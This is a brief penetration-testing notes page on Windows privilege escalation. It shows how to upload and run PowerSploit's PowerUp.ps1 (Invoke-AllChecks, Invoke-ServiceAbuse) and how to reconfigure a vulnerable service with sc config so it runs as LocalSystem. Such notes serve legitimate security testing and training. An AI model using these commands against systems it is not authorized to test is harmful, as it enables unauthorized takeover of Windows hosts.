3. Privilege Escalation - Windows

PowerUp

1. Upload the following script to the host `/usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1`
2. Load on the target and run it

```
. .\\PowerUp.ps1
Invoke-AllChecks
```

3. Troubleshoot, make sure the service you are trying to abuse is actually started.

Abusing services

```
. .\\PowerUp.ps1
Invoke-AllChecks # if a service is discovered do the things over there ->
Invoke-ServiceAbuse -Name 'Service'
```

```
sc query Service
sc config Service start=auto
sc config Service obj=LocalSystem
```

Revision #1
Created 2026-01-08 18:50:23 UTC by Vlad Birgauanu
Updated 2026-01-08 18:50:46 UTC by Vlad Birgauanu